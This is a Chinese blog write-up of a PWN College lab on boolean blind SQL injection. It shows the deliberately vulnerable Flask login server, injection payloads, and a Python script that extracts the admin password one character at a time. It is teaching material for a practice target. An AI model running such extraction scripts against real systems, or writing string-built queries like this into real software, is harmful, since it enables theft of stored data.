当前位置: 首页 > article >正文

PWN College 关于sql盲注

在这个场景中,我们需要利用SQL注入漏洞来泄露flag,但是应用程序并不会直接返回查询结果。相反,我们需要根据应用程序的行为差异(登录成功与否)来推断查询结果。这就是所谓的"布尔盲注"(Boolean-based Blind SQL Injection)。

我们可以通过构造一系列的"是/否"问题,并根据应用程序的响应来逐位获取flag。

服务器的处理逻辑如下所示:

#!/opt/pwn.college/python

import tempfile
import sqlite3
import flask
import os

app = flask.Flask(__name__)

class TemporaryDB:
    def __init__(self):
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        connection = sqlite3.connect(self.db_file.name)
        connection.row_factory = sqlite3.Row
        cursor = connection.cursor()
        result = cursor.execute(sql, parameters)
        connection.commit()
        return result

db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["POST"])
def challenge_post():
    username = flask.request.form.get("username")
    password = flask.request.form.get("password")
    if not username:
        flask.abort(400, "Missing `username` form parameter")
    if not password:
        flask.abort(400, "Missing `password` form parameter")

    try:
        # https://www.sqlite.org/lang_select.html
        query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'
        print(f"DEBUG: {query=}")
        user = db.execute(query).fetchone()
    except sqlite3.Error as e:
        flask.abort(500, f"Query: {query}\nError: {e}")

    if not user:
        flask.abort(403, "Invalid username or password")

    flask.session["user"] = username
    return flask.redirect(flask.request.path)

@app.route("/", methods=["GET"])
def challenge_get():
    if not (username := flask.session.get("user", None)):
        page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
    else:
        page = f"<html><body>Hello, {username}!"

    return page + """
        <hr>
        <form method=post>
        User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
        </form>
        </body></html>
    """

app.secret_key = os.urandom(8)
port = 8080 if os.geteuid() else 80
app.config['SERVER_NAME'] = f"challenge.localhost:{port}"
app.run("challenge.localhost", port)

这里我们需要构造合适的payload:  

admin"--

-- 注释掉查询的剩余部分

整个查询会变成:

SELECT rowid, * FROM users WHERE username = "admin"--" AND password = "anything"

进一步得到

SELECT rowid, * FROM users WHERE username = "admin" AND substr((SELECT password FROM users WHERE username="admin"), 1, 1) = "a"--" AND password = "anything"

构造脚本逐字符猜测

import requests
import string

url = "http://challenge.localhost:8080"
flag = ""
charset = string.printable.strip()

def check(payload):
    response = requests.post(url, data={"username": payload, "password": "anything"}, allow_redirects=False)
    return response.status_code == 302

# 获取flag长度
for i in range(1, 100):
    payload = f'admin" AND length((SELECT password FROM users WHERE username="admin")) = {i}--'
    if check(payload):
        print(f"Flag length: {i}")
        flag_length = i
        break

# 获取flag内容
for i in range(1, flag_length + 1):
    for char in charset:
        payload = f'admin" AND substr((SELECT password FROM users WHERE username="admin"), {i}, 1) = "{char}"--'
        if check(payload):
            flag += char
            print(f"Current flag: {flag}")
            break

print(f"Final flag: {flag}")


http://www.kler.cn/news/309520.html

相关文章:

  • 【Hot100】LeetCode—72. 编辑距离
  • vue2制作高复用页面
  • 系统架构师考试学习笔记第五篇——架构设计补充知识(25)专业英语
  • Spring部分常见面试题
  • 关于Spring Cloud Gateway中 Filters的理解
  • 健身房预约小程序定制搭建,数字化运营管理
  • Python+Pytest框架,“api_key.py文件怎么编写“?
  • 【乐企-业务篇】生成发票左上角二维码
  • Linux和C语言(Day 12)
  • 华南医电科技集团受邀出席中马建交50周年高级别经贸合作交流活动
  • [Redis] Redis中的set和zset类型
  • 云轴科技ZStack 获鲲鹏应用创新大赛2024上海赛区决赛一等奖
  • vue3-print打印eletable某一行的数据
  • TI AM62X Secure Boot 流程简述
  • (黑马点评)六、好友关注系列功能实现
  • C语言 | Leetcode C语言接雨水II
  • vscode中前端项目文件格式化备份
  • Apple M3编译OpenSSL安卓平台SO库
  • django orm查询优化
  • Unity常用随机数算法
  • linux-Shell 编程-常用 Shell 脚本技巧
  • Python--数据格式转换
  • 在react中 使用redux
  • ubuntu安装wordpress(基于LNMP环境)
  • GBase8c主备版500升级步骤
  • 演示:基于WPF自绘的中国省份、城市、区县矢量地图
  • android 识别设备是否为模拟器
  • MySQL 按照条件(分组)只取一个形成列表 group max
  • PostgresML:通过 PostgreSQL 集成简化 AI 模型部署
  • git reset 几点疑问